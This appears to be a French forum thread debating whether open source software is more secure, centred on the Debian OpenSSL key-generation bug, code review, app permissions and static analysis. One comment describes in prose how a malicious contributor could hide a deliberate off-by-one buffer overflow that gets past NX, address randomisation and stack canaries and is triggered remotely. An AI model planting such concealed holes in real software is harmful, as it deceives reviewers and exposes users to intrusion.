Donc autant le dvp du patch aurais du donner son patch, et pas juste demander si les modifs apportées étaient "ok", qui a entraîné un quiproquo.
Autant openssl aurait du coder proprement pour éviter que des gens essaient de corriger leurs saleté.
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à 2.
D'une part, ils ont dit "ok pour le debug", d'autre part s'il avait le patch qu'il avait soumit, on en serait pas la.
Ouais, alors que lire une donnee initializee a "que des zeros", au moins t'as une tres tres bonne idee de l'entropie de l'alea utilise. C'est achement mieux, et achement plus sikioure!
Ben voyons, encore un peu et ca va etre le mec d'OpenSSL qui a foutu la grouille...
Et evidemment, pas un mot sur le processus de relecture (que ce soit celui de debian ou de la communaute). JGO, comment ca se fait que t'ais pas vu ce code? Tu relis pas le source alors? Et meme si tu l'avais lu d'ailleurs, combien tu paries que t'aurais rien vu du tout?
Mais c'est marrant ca, parce qu'il ya plein de gens ici qui disent qu'avoir le code source permet de trouver les bugs et les failles. Rappelle moi comment ils l'ont trouve ce probleme deja?
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par briaeros007 . Évalué à 3.
On en sait rien. Ils ont bien accepté au départ, et ils ont pas dit "faut faire attention, parce que ca risque de désactiver tel et tel truc".
C'est pas "plus sikioure", c'est "autant sikioure".
Parce que baser la sécurité sur une donnée qui peut être tout le temps à zero, si le compilateur décide de toujours mettre à zero la mémoire alloué, et se baser sur une "possible entropie", c'est une putain de faille.
Considérer toujours le pire cas, et agir en conséquence, ça c'est "sikioure". Considérer le meilleur cas et espérer qu'il arrive, c'est pas du tout "sikioure"
Quand tu code comme un goret et que ton code provoque une tonne d'erreur dans des situations classiques de dvp (utilisation de valgrind, ...), faut pas venir pleurer si quelqu'un, en essayant d'enlever les erreurs qui apparaissent, casse quelque chose.
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à -2.
Si le compilateur le decide, oui. Est ce que le compilateur le decide?
Je te demande pas s'il peut le faire, je te demande s'il le fait.
Faut croire que non, la version officielle arrive a generer plus de 65 000 cles differentes, pas la version debian.
C'est peut etre mal, mais en attendant, ya une version qui marche et l'autre, cense etre plus propre qui marche pas.
Oui, et quand on fait des patchs a la mord moi le noeud sur un projet critique sans meme les tester et qu'on balance ca en prod a la moitie de la planete, faut pas venir pleurer si qq1 vient faire remarquer que c'est du travail de gougnafier et que c'est irresponsable de rejeter l'erreur sur upstream!
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par Matthieu Moy (site web personnel) . Évalué à 5.
La faille OpenSSL de Debian, n'importe quel informaticien raisonnable aurait pu la trouver si il avait testé correctement, sans même lire le code.
Le générateur aléatoire était cassé, il générait des clés parmi un nombre fini et relativement petit de possibilités (de mémoire, 32000). Un pauvre script qui génère des clés et teste les collisions aurait trouvé ça en quelques minutes.
Le fait est que personne n'a essayé pendant 2 ans ...
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 4.
Et ca en dit justement long sur les procedures de test...
[^] # Re: Solution libre
Posté par Grunt . Évalué à 4.
Ouais, c'est le genre de tests à la con que personne ne fait. Tu t'imagines te lever un matin et dire "Tiens, je vais voir si pwgen fait des collisions, ça donnera bon goût à mon petit déjeuner"?
THIS IS JUST A PLACEHOLDER. YOU SHOULD NEVER SEE THIS STRING.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 2.
C'est le genre de test qui devrait faire partie de la suite de test d'OpenSSL.
Si ca se trouve le projet OpenSSL a ce test, mais clairement Debian ne faisait pas tourner ces tests si ils existent, et ca montre justement ce que je disais dans un autre journal: sous Linux les testeurs sont les utilisateurs.
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à 4.
Serais tu en train d'insinuer que le modele communautaire est plus qu'inadapte pour produire du logiciel de qualite, par manque de resource et de motivation?
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par Zenitram (site web personnel) . Évalué à 5.
On est donc d'accord : les distribs Linux communautaires offrent une sécurité très relative. En terme de sécurité, il est préférable d'avoir Windows à ce niveau.
(Note : ce n'est pas Linux, ce n'est pas le libre, que j'attaque la, juste cette notion de parce que c'est libre, c'est obligatoirement mieux en termes de sécurité. Non, ce n'est pas le cas, ça dépends de la gestion de la sécurité de l'entité qui gère. Absolument indépendant du libre, juste comment la sécurité est gérée.)
[^] # Re: Solution libre
Posté par briaeros007 . Évalué à 6.
A parce que tu as la liste et les résultats des tests de windows ? Moi non en tout cas.
[^] # Re: Solution libre
Posté par Juke (site web personnel) . Évalué à 3.
Le jeudi 03 mars 2011 à 08:08 +0100, Zenitram a écrit :
Pourquoi préférable ?
que ça soit pareil à la limite je comprend, car peu de gens on les
capacités/temps/envie de trouver des failles en audîtant le code source
(mais ils peuvent le faire, même si personne ne le fait de manière exhaustive et que ce n'est pas la seule façon de trouver des failles)
Personne n'a dis que l'accès au code source était une garantie qu'il n'y
ai pas de faille.
[^] # Re: Solution libre
Posté par Matthieu Moy (site web personnel) . Évalué à 3.
On est bien d'accord (d'ailleurs, je n'ai pas fait le test non-plus moi-même, j'ai juste « fait confiance », comme tout le monde).
Mais c'est justement bien ça le problème, c'est pas parce que Debian a une grosse communauté d'utilisateurs et de développeurs que les failles ne passent pas au travers des mailles du filet.
Debian reste relativement bon au niveau sécurité (j'ai pas d'anti-virus et aucun problème sur ma Debian, j'ai pas à m'en plaindre), mais faut juste arrêter de croire que libre => magiquement sécurisé.
[^] # Re: Solution libre
Posté par totof2000 . Évalué à 1.
Dans ta réflexion on peut ajouter "voir sur les forums sérieux si quelqu'un na'a pas trouvé un truc bizarre dans cette appli", que ce soit dans les sources et dans le comportement.
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à 1.
Douleur pour le premier qui trouve qq chose de bizarre.
Ca c'est de la politique de secu "trouve un pov' gars qui s'est fait couillonner avant moi".
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par totof2000 . Évalué à 2.
C'est une méthode parmi d'autres pour s'assurer que le soft qu'on installe est sur (le bouche-à-oreille ou dans notre cas le clavier-aux-yeux).
Ce n'est pas infaillible mais combiné à d'autres éléments (tels que le code source dispo, l'analyse du comportement du soft, et d'autres choses encore), ça peut marcher.
Pour ma part c'est comme ça que je procédais quand j'étais sous Fedora ou quand je fais un changement de version sous Ubuntu : j'attends un peu que d'autres aient fait les changements (ou alors je le fais mais en sauvegardant l'état de ma machine, ou alors je la clone et je fais mes modifs dessus avant de les appliquer sur mes machines "de travail").
Je t'accorde que pour un mobile c'est plus compliqué.
[^] # Re: Solution libre
Posté par Moogle . Évalué à 4.
Il y a un truc chouette sur l'Android Market qui permet de préciser de quelles informations l'application a besoin avant d'être installée. Si ton appli est un fond d'écran de femme à poil qui a besoin d'accéder au net et de toucher aux données perso de ton téléphone, on peut avoir comme un doute. Après, forcément, il faut prendre 3 secondes pour lire les autorisations et pas dire "oui" tout de suite...
[^] # Re: Solution libre
Posté par CrEv (site web personnel) . Évalué à 5.
Sauf que :
[^] # Re: Solution libre
Posté par Batchyx . Évalué à 4.
Sauf que les applis android en ce moment ce sont des gros bloatwares qui font le café, te propose de télécharger des nouvelles recettes de café, et te propose de parler de cette appli en envoyant des SMS à tout tes amis. Résultat, tu te retrouve avec des gros bloatwares qui nécessitent plein d'autorisations pour des fonctionnalités légitimes dont tu ne te sert jamais. Et comme on ne peut pas dire qu'Android soit un OS 100% libre et transparent, tu peux te brosser pour vouloir réduire les autorisations à la main, contrairement à nos Linux chéris.
[^] # Re: Solution libre
Posté par Alex . Évalué à 2.
Sauf que... dès que ton appli nécessite de la pub, elle a besoin d'une connection internet, et que sous android une attaque peut se faire par plusieurs applis:
ta première appli de gestions des sms demande légitimement l'accès a tes contacts, la seconde (un lecteur rss) demande l'accès au net, les 2 communiques discrètement entre elles pour envoyer des contacts sur un site distant.
De plus il me semble qu'il y a d'autres moyens de récupérer des infos, les ipc d'android contenant des infos (comme les infos du contact que tu apelles) et étant broadcaster vers tout les process
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 3.
Ce sera un avantage le jour ou, en pratique, cela sera fait.
Les avantages theoriques ne valent absolument rien tant qu'ils ne sont pas mis en pratique.
Parce que relire le code c'est bien joli, mais si je veux te cacher un malware dans le code source et que personne le voie, je le ferai sans probleme, cacher un buffer overflow qui est mis en route par une communication avec mon serveur il n'y a rien de plus simple, et personne(= 99.99% de la population qui lit le code) ne le remarquera vu les differentes manieres de cacher cela et les connaissances requises pour detecter les cas pernicieux de buffer overflow.
[^] # Re: Solution libre
Posté par gnumdk (site web personnel) . Évalué à 1.
Euh, tu sais comment cela fonctionne le dev d'un logiciel libre ?
A part pour les ptites applis de merde, effectivement, ce que tu décris est possible (1 seul dev) mais pour l'instant j'ai jamais rien vu de tel, des paquets vérolés sur le net oui mais ca pas à ma connaissance...
Mais le code source, il est lu, t'inquietes, par les contributeurs...
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 0.
Qu'un etudiant ou autre developpeur aleatoire le lise, c'est tres tres legerement mieux que ne pas le lire.
J'ai une bonne petee de cas ou a moins d'etre un gars qui s'y connait en securite, qui comprend tres bien comment le composant fonctionne, et etre en train de lire le code specifiquement pour y trouver des failles, tu passeras par dessus et n'y verra rien.
Et une faille, c'est l'equivalent d'un malware hein. Suffit que ton soft se connecte au serveur pour X raison, et tu mets la faille dans la communication/parsing/...
[^] # Re: Solution libre
Posté par Nicolas Boulay (site web personnel) . Évalué à 5.
Même si tu as un buffer overflow, il faut passer par dessus la protection nx, par dessus la randomisation d'adresse, voir les protections par canary. C'est déjà une autre pair de manche.
"La première sécurité est la liberté"
[^] # Re: Solution libre
Posté par Jerome Herman . Évalué à 7.
<i>Même si tu as un buffer overflow, il faut passer par dessus la protection nx, par dessus la randomisation d'adresse, voir les protections par canary. C'est déjà une autre pair de manche.</i>
Si on se place dans le cas d'un auteur/contributeur malveillant, c'est un jeu d'enfant de faire du code dont on sait d'avance ou l'erreur va tomber, comment le buffer overflow va déborder etc. Et c'est particulièrement pernicieux à trouver. Passé deux out trois niveaux d'indirections et quelques changement de format plus tard (its a long long way to tipperary) qui va aller vérifier que ton tableau fait bien N éléments et pas N-1. Tu peux même pousser le vice jusqu'à coder un canary à la fin du tableau ... de N éléments.
Si quelqu'un te choppe (très très peu probable, mais pourquoi pas) tu peux toujours plaider non coupable, la faute d'inattention qui t'a fait sauter un élément, dans un tableau alloué quatre pages de code plus haut (voire dans un include, d'include). Après il suffit que le débordement aille gentiment écraser l'élément suivant dans une structure (tu sais ou ça tombe) et plaf un pointeur de fonction/une addresse de retour qui part aux fraises.
Pour finir tu envois un packet/fichier/flux avec un élément de trop au bon endroit et le malware s'active sans que personne ne puisse le voir à moins d'une analyse poussée du code.
NX ne verra rien, pointeur de fonction ou pointeur tout court, si on retourne bien dans la zone d’exécution (si tant est qu'on l'ai quittée) on aura son feu vert. La randomisation d'adresse tombe à plat puis que je corromps des données allouées au sein de la même structure. Et le canary posé posé en fin de structure ne sera même pas chatouillé par une corruption qui se produit trop en aval.
Et là c'est un exemple de méthode parmi des centaines qui passent largement au dessus des protections génériques et qui sont quasiment insensibles au fuzzing.
Un mec qui décide de créer une faille exprès dans son code, il a largement les moyens de la planquer tranquillement et de l'activer à la demande. Les techniques mentionnées marchent principalement contre les méchants qui essayent d'abuser un code écrit honnêtement.
[^] # Re: Solution libre
Posté par briaeros007 . Évalué à 2.
D'après mes faible connaissance, le canari n'est pas généré par le compilateur?
[^] # Re: Solution libre
Posté par Zenitram (site web personnel) . Évalué à 3.
Tu veux dire, les mêmes qui ont laissé passer la faille OpenSLL chez Debian? Ah ah ah, bonjour la sécurité. Tu parles de théorie toujours, en pratique les failles passent. Et pas qu'une seule, suffit de voir les alertes de sécurité de RedHat et Mozilla pour prendre deux exemples : des jours, des mois, des années après la sortie de la version. Comme les logiciels proprio tient. Après tu peux toujours dire que RHEL et Firefox sont "des ptites applis de merde"
Oui. Comme les logiciels proprio pour la partie relecture / sécurité : il y a du bon, et du moins bon. Partout.
C'est beau les fantasmes de certains libristes sur le parfait du libre. Il y a la théorie, et la pratique.
[^] # Re: Solution libre
Posté par JGO . Évalué à 0.
Non lui c'était un mainteneur de distribution. Je suis sûr que le code de OpenSSL est très bien audité par ses contributeurs. Mais si le mainteneur de distro fait son patch dans son coin et ne le soumet pas sur la mailing list upstream, il ne sera pas relu.
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à -1.
Mais alors, au final, le code, il est relu ou pas?
Non parce que du code que personne n'utilise (combien utilisent un open ssl vanilla? serieusement?) soit relu, tres honnetement, ca me fait une belle jambe...
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par Zenitram (site web personnel) . Évalué à 6.
Tient. Tout le contraire de ce que tu disais précédemment. Ca part dans tous les sens, moi qui croayis qu'on pouvait faire quand même confiance aux repos. Au final, Mme Michu ne peut faire confiance à personne, libre ou pas, démonstration ratée.
Faudra un jour prendre le libre pour ce qu'il est, et pas lui inventer des qualités imaginaires, ça le décrédibilise plus qu'autre chose.
[^] # Re: Solution libre
Posté par El Titi . Évalué à 2.
J'espère sincèrement que tu ne fais pas partie de la horde de libristes qui ont hurlé dans les chaumières parce que FF refusait d'apposer son tampon aux patchs de Debian.
[^] # Re: Solution libre
Posté par Axioplase ıɥs∀ (site web personnel) . Évalué à 7.
Pas par les utilisateurs.
L'archive du code source officiel d'unreal IRCD contenait une backdoor… Je crois qu'elle a été découverte, non pas par une analyse du code, mais parce que les utilisateurs se faisaient r00ter les uns après les autres…
[^] # Re: Solution libre
Posté par Alex . Évalué à 4.
En fait il faut que le source corresponde au binaire. Soit tu audites puis recompiles tout, soit installes un binaire déjà prèt, et donc tu accordes ta confiance au packager pour ne pas avoir modifier le source original. Dans un système comme le market (et même sur une distro classique), je pense que personne ne vérifie la géneration des binaires.
[^] # Re: Solution libre
Posté par JGO . Évalué à 5.
Les distributions libres pour le bureau fonctionnent bien. Les projets ont en général plusieurs contributeurs, une mailing-list de développement, ils existent depuis plusieurs mois avant d'être intégrés dans une distribution connue. Et n'importe qui n'uploade pas une archive sur les serveurs de la distro. Malheureusement, Android, n'est pas organisé comme ça. Google aime bien avoir une sorte de mainmise, moins que MS mais un peu quand même.
[^] # Re: Solution libre
Posté par Gniarf . Évalué à 5.
je lis le code source de quasi toutes les extensions Firefox que j'utilise (juste parce que ça m'interesse ou parce que je souhaite virer ou renommer une entrée de menu...) et je te proute.
[^] # Re: Solution libre
Posté par suJeSelS . Évalué à 9.
Apple qui pratique une analyse du comportement s'est également fait avoir. Il suffit de déclencher le code malveillant longtemps après la validation de l'application. C'est une première barrière utile, mais montrant très vite ses limites.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 0.
C'est certainement pas parfait, mais ca sera toujours plus efficace au total que la possibilite theorique de lire le code source que personne ne fait.
[^] # Re: Solution libre
Posté par JGO . Évalué à 1.
Dans le monde parfait où y'aurait un appstore libre pour Android, tu pourrais sans nul doute ajouter une entrée dans le suivi pour demander qu'en plus de la relecture du code (que tu juges insuffisante), un outil d'analyse de comportement soit utilisé.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à -2.
Dans ton monde parfait, le appstore que tu decris serait identique a ce qu'Apple fait (restrictions sur image de c*l et autres en moins), car de nouveau, personne n'irait relire le code de toute facon.
[^] # Re: Solution libre
Posté par JGO . Évalué à -1.
Ça dépend ce que tu appelles personne, moi j'ai bidouillé trois de mes extensions pour FF (imageblock, httpseverywhere, randomuseragent). Je ne suis pas informaticien et je hais javascript, alors j'imagine que les types qui s'y intéressent vraiment relisent encore plus et encore mieux.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 6.
Moi je vais simplement te dire que trouver des failles ca a ete mon boulot pendant 6 ans, j'etais paye pour et malgre toute mon experience et celle de mes collegues, nombre de failles nous passaient sous le nez pour n'etre trouvees que par un fuzzer pendant le pen testing.
Alors compte combien de developpeurs ont une expertise en securite(parce qu'un non-expert, le nombre de failles qui lui passeront sous le nez est enorme), et compte combien d'entre eux vont aller relire le code de ces applications libres. Le compte est vite fait.
[^] # Re: Solution libre
Posté par hervé Couvelard . Évalué à -3.
Allez tu as raison, winwin c'est le mieux du monde de l'univers et un code fermé c'est plus sur qu'on code ouvert. Parfait, maintenant que tu as raison, tu vas pouvoir nous laisser penser ce que l'on veut.
Il y a moins de malware sous linux parce que linux intéresse personne et le jour ou linux sera prêt pour le desktop il y aura plein de saloperie aussi. Ok tu as raison. maintenant on peut avoir la paix ?
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 1.
Allez tu as raison, winwin c'est le mieux du monde de l'univers et un code fermé c'est plus sur qu'on code ouvert.
Ah si seulement... Le probleme est que j'ai jamais dit cela...
[^] # Commentaire supprimé
Posté par Anonyme . Évalué à 1.
Ce commentaire a été supprimé par l’équipe de modération.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 3.
Non, je sous-entends que l'acces au code source des distribs et autres n'amene rien niveau securite en pratique.
Ca ne veut pas dire que le code source ouvert est pire a cause de ca hein, rien n'empeche d'utiliser les memes techniques de pen testing et analyse dynamique ou autre sur du code libre.
Je parles purement du mythe "code source dispo = meilleure securite"
[^] # Commentaire supprimé
Posté par Anonyme . Évalué à 0.
Ce commentaire a été supprimé par l’équipe de modération.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 1.
Meme pour Windows, il est meilleur que d'autres systemes pour certaines choses, moins bon pour d'autres.
L'OS miraculeux qui est meilleur a tous les plans, ca n'existe pas
[^] # Re: Solution libre
Posté par Frank-N-Furter . Évalué à 6.
OpenBSD?
--->[]
Depending on the time of day, the French go either way.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à 2.
Perso je pencherais plutot pour AmigaOS, mais j'ai pas envie de recreer une guerre entre Amigaistes et Ataristes frustres d'avoir un OS moins bon
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à -4.
Et pendant que vous vous battez pour savoir qui qu'est le plus fort, Apple sort l'iPad2 et annonce iOS 4.3
/me sifflote
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par Juke (site web personnel) . Évalué à 3.
Le jeudi 03 mars 2011 à 01:25 +0100, pff a écrit :
c'est quoi le rapport avec la choucroute ?
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à 1.
Ben ils parlent du meilleur systeme ayant jamais existe, je leur fait juste remarque qu'il a ete annonce hier, c'est tout.
/me sifflote.
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par Moogle . Évalué à 5.
Tu devrais en faire un journal, en plus on est vendredi !
[^] # Re: Solution libre
Posté par pasScott pasForstall . Évalué à -2.
Pas la peine, les medias du monde entier vont en parler pendant qq jours.
Peut etre en septembre/octobre, pour la release du "vrai" prochain iPad, celui (je l'espere en tout cas) avec le retina qui va envoyer la concurrence paitre.
If you can find a host for me that has a friendly parrot, I will be very very glad. If you can find someone who has a friendly parrot I can visit with, that will be nice too.
[^] # Re: Solution libre
Posté par Frank-N-Furter . Évalué à 6.
Commodore vaincra!
Depending on the time of day, the French go either way.
[^] # Re: Solution libre
Posté par calandoa . Évalué à 7.
Atarira bien qui rira le dernier...
[^] # Re: Solution libre
Posté par El Titi . Évalué à 2.
Sinclair, c'est clair !
http://en.wikipedia.org/wiki/ZX81
[^] # Re: Solution libre
Posté par Axioplase ıɥs∀ (site web personnel) . Évalué à 4.
Tous les plans, je sais pas. Mais pour le plan 9, on a trouvé, sisi.
[^] # Re: Solution libre
Posté par cosmocat . Évalué à 1.
moi, je me dis juste que si tu repères un comportement non souhaité (accès réseau, crash, ...) , il est plus facile pour comprendre d'aller vérifier dans les sources que si tu as rien, non!?!
Et que dès fois, celui qui a le problème est le plus à même de le corriger. Donc ça ne peut qu'amener des contributions supplémentaires, non!?!
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à -1.
Et pour un soft dont le job est justement un acces reseau a ce serveur donne tu vas faire quoi ? Lire chaque byte qui passe sur le reseau pendant des mois pour etre sur que rien ne se passe ?
Quand au crash, justement, le but est que cela ne crashera pas, cela executera du code venant du serveur par contre, et tu n'y verras donc rien du tout.
[^] # Re: Solution libre
Posté par El Titi . Évalué à 2.
J'vais dire un truc con, mais il doit exister des outils d'analyse de la sécurité directement à partir du code source, non ?
2 protections valent mieux qu'une, un peu comme le débat static vs dynamique typing.
Sur un repository/store sur lequel on se contente du code binaire ce n'est pas possible mais pour les autres. A moins qu'Apple n'exige de visualiser le code et de le recompiler, comment être sûr ? Si c'est ce qu'il font c'est un peu l'hôpital qui se fout de la charité d'exiger des autres qu'ils le montrent et de ne pas le faire en retour. Pôvres développeurs iBidule.
[^] # Re: Solution libre
Posté par Littleboy . Évalué à 1.
Il y a des l'analyse statique. Et ca trouve des failles. Et les mainteneurs du kernel Linux (entre autres) s'en foutent...
Ils ont acces aux rapports detailles de Coverity par exemple, et pour certaines failles recentes, il y avait un beau warning present depuis des mois et des mois. Et il a fallu attendre un exploit pour que la faille soit corrigee, parce que personne n'avait pris le temps d'aller regarder le rapport mis a dispo.
[^] # Re: Solution libre
Posté par Nicolas Boulay (site web personnel) . Évalué à 3.
Linux se méfie de coverity car il produit beaucoup de faux positif. Il y a eu des cas de "corrections" de bug qui n'en était pas et qui ont introduit des régressions.
De plus, Linux utilise sont propre outil d'analyse statique de code (sparse http://lwn.net/Articles/87538/ ).
"La première sécurité est la liberté"
[^] # Re: Solution libre
Posté par Moogle . Évalué à 2.
Jean-Marie ou Marine ?
==============> []
[^] # Re: Solution libre
Posté par El Titi . Évalué à 4.
Tu me fais beaucoup de pen !
[^] # Re: Solution libre
Posté par suJeSelS . Évalué à 5.
Avec le code source, tu peux faire de l'analyse de code automatique pour vérifier au moins que les règles de bonne pratique de base sont respectées.
[^] # Commentaire supprimé
Posté par Anonyme . Évalué à 0.
Ce commentaire a été supprimé par l’équipe de modération.
[^] # Re: Solution libre
Posté par pasBill pasGates . Évalué à -2.
Lire le code n'est pas suffisant.
Tu as les connaissances et l'experience pour deceler la plupart des types de faille ? Non ? Donc un malware decent te passera sous le nez.
[^] # Commentaire supprimé
Posté par Anonyme . Évalué à 4.
Ce commentaire a été supprimé par l’équipe de modération.
[^] # Re: Solution libre
Posté par briaeros007 . Évalué à 1.
si si les gens le font.
Pas tout le monde, mais il y en a, ce n'est pas une possibilité théorique.
Par contre comme tout ce qui dépend d'une communauté, et du bon vouloir de particulier, ben rien ne dis que ça sera déjà fait quand tu le voudras.
Pour moi il faut avoir les deux, et des automates de détection du comportement des applis, et des failles "classiques", et la possibilité de tout un chacun de relire le code.
[^] # Re: Solution libre
Posté par pampryl . Évalué à 7.
Quand le code source n'est pas dispo, c'est certain que cette relecture ne peut être faite par une personne tierce ou l'utilisateur. Au moins avec du code ouvert, celui qui tient à sa sécurité en a la possibilité. C'est donc un avantage (vis à vis du monde propriétaire) dont la valeur se mesure à la façon dont une personne prend conscience de cette possibilité et en use.
Quand tu dis "quasiment personne ne lit les sources", moi je lis qu'au moins certains le font, et cela justifie que j'y accorde un peu plus de confiance (proportionnellement au nombres de personnes compétentes qui ont fait ce travail quand je ne le fais pas).
[^] # Re: Solution libre
Posté par suJeSelS . Évalué à -1.
Ça repousse simplement le problème ailleurs, quelle est la confiance en le compilateur, puis quelle est la confiance en le matériel?
[^] # Re: Solution libre
Posté par JGO . Évalué à 6.
Faut savoir à qui tu peux faire confiance. Faire confiance au développeur unique d'une appli proprio gratuite d'un appstore du net, bof bof. Faire confiance à Mozilla pour que le binaire officiel de firefox ne soit pas vérolé, j'ai déjà plus confiance.
Et si le matériel veut t'espionner, il y arrivera, mais ce n'est pas la question ici.
[^] # Re: Solution libre
Posté par Maclag . Évalué à 8.
Je réponds ici mais j'ai lu tout le fil.
De ce que je comprends:
Je suis d'accord un peu avec les deux:
Ici, c'est le procédé qualité. Si le procédé qualité d'une distribution a une faiblesse, la sécurité sera amoindrie. Debian a (ou j'espère qu'ils en ont tiré la leçon) trouvé une faiblesse: le mainteneur du paquet peut appliquer un patch qui n'a pas eu l'attention qu'il méritait. Nous devrions donc être d'accord: si le code ouvert permet de trouver 1% des failles de sécurité alors qu'une variation dans le procédé qualité peut entraîner un taux d'échappement des failles de 50%, l'ouverture du code ne fera quasiment aucune différence.
C'est un outil supplémentaire qui n'est pas disponible pour les applis proprios. On peut retourner le problème dans tous les sens, mais entre "personne d'autre que le développeur peut regarder les sources", et "tout le monde peut les regarder mais peu de gens le font en vrai", la deuxième est toujours infiniment supérieur, parce que epsilon sera toujours plus grand que zéro!
Par contre, le contrôle qualité interne qui est censé garantir la sécurité des logiciels mis à disposition est clairement le principal facteur.
[Et maintenant la minute Troll]
Et s'il est vrai que Debian a eu une grosse faille de sécurité qu'"on" aime bien mentionner, "on" oublie de dire aussi que chez MS comme chez Apple, on corrige aussi des failles de sécurité qui n'avaient jamais été découvertes malgré leur très supérieurs processus qualité.
Allez les gars, avouez que vous vous braquez sur l'OpenSSL de Debian parce que chez vous la liste est tellement longue qu'on ne sait plus par où commencer! \o/
[C'était la minute Troll]
[^] # Re: Solution libre
Posté par Zenitram (site web personnel) . Évalué à 2.
tttt... Tu n'as pas tout compris. Ce n'est pas que ça sert à rien, "juste" que ce n'est aucunement un critère pertinent pour savoir si c'est sécurisé, ou pas.
C'est mieux!
Sauf que tu oublies "juste" une chose : tu fais une seule comparaison, biaisée. Dans le même style, je peux sortir "avec le code source ouvert de chez xxxx, tout le monde peut lire mais personne ne le fait, avec le proprio de chez yyyy, seuls les développeurs peuvent lire (et les testeurs payés par l'entreprise), donc le proprio est infiniment supérieur, parce que le nombre de relecteurs pour le proprio yyyy sera toujours plus grand que le nombre de relecteurs pour le libre xxxx!", et conclure que le proprio c'est mieux que le libre.
Non, non, et non : juste que la liberté du code est un outil en plus pour le libre, et le proprio a des outils en plus (l'argent est un très bon outil pour trouver des testeurs et des relecteur de code sous NDA), aucun des modèles n'est absolument meilleur que l'autre, ça dépend de qui fait quoi au niveau gestion de la sécurité.
Il faut prendre le libre pour ce qu'il est, un bon outil. Mal ou pas utilisé, ça ne rend pas le code meilleur. Faut arrêter les conclusions hâtives "c'est libre donc mieux sécurisé", non, c'est juste libre donc avec un outil pour le développeur pour trouver des testeurs/relecteurs gratos (avec les aléas qui vont avec : aucune garantie que le testeur teste)
[^] # Re: Solution libre
Posté par Moogle . Évalué à 5.
L'argent existe aussi dans le libre, c'est pas une spécificité du proprio...
[^] # Re: Solution libre
Posté par Zenitram (site web personnel) . Évalué à 3.
Effectivement, trop de digression sur cette partie. Tu as raison. Je voulais juste souligner que ce n'est pas parce que c'est libre que c'est mieux, si tu as l'argent pour payer des testeurs (qui dans les deux cas ont accès au code de la même manière), tu as largement plus de chance de trouver des failles par rapport à diffuser dans la nature un code libre en fantasmant sur le fait qu'il sera lu parce que c'est libre. le libre est un outil pour la sécurité, pas le seul et pas parfait, loin de là.
[^] # Re: Solution libre
Posté par Maclag . Évalué à 5.
Rah! J'ai pas détaillé mais prends-le comme il faut le prendre rigoureusement: - Même équipe de dév - Même projet - Même ressources
D'un côté un code fermé, de l'autre code ouvert. Le code ouvert a une probabilité faible mais non nulle d'être, en plus du travail des dévs, audité par des contributeurs externes. Le code fermé a une probabilité nulle d'en bénéficier. CQFD
Le plus dur est de quantifier cet apport. Et là-dessus, je partage assez ton point de vue: probablement bien inférieur, pour la plupart des projets, à ce qu'une amélioration du procédé qualité interne pourrait donner.
[^] # Re: Solution libre
Posté par Zenitram (site web personnel) . Évalué à -1.
Sauf que tu changes une donnée : libre / pas libre. Donc ça peut avoir un impact sur les ressources (un projet qui passe en libre peut être moins rentable, gérer la communauté et filtrer les mauvais rapport a un coût. Exemple : jeu vidéo, trouve-moi un modèle financier viable quand tu libères).
Bref, tu changes une donnée, en regarde les bénéfices mais regarde pas du tout les impacts négatif potentiels, trop facile de tirer la conclusion que tu veux.
[^] # Re: Solution libre
Posté par Maclag . Évalué à 6.
Non, stop, là c'est toi qui introduit des critères que je ne trouve pas pertinents.
Tu ne changes pas une données, tu changes tout: on introduit un modèle économique, on parle de différentiel d'allocation des ressources suivant le fait que le logiciel est libéré ou non. Comment alors avoir la moindre comparaison pertinente? On va tomber dans du cas par cas avec aucune référence!
Rien ne prouve qu'une entreprise qui libère un logiciel diminue en même temps les ressources associées.
De plus, on ne parle pas ici de modèle économique ou je ne sais quoi, on tente d'établir un fait qualitatif: l'ouverture du code source est-elle une garantie supplémentaire sur la sécurité.
Ce à quoi je crois qu'on est d'accord: garantie, non! outil bénéfique, oui!
Et quant à la question: "devrais-je ouvrir mon code pour améliorer la sécurité?", je répondrais également que si le seul but est d'améliorer la sécurité, il va falloir être très très prudent sur les coûts additionnels que tu présentes d'ailleurs: gestion de la communication avec la communauté, filtrage des retours de faux bugs, si le développement est ouvert aussi, risque de failles introduites par les contributeurs externes, etc.
Je ne suis pas convaincu non plus que les mêmes ressources utilisées pour avoir plus de développeurs en interne qui testent et auditent le code ne seraient pas plus efficaces!
Il y a cependant bien d'autres raisons d'ouvrir son code, mais on s'éloigne complètement du sujet.
[^] # Re: Solution libre
Posté par Zenitram (site web personnel) . Évalué à 1.
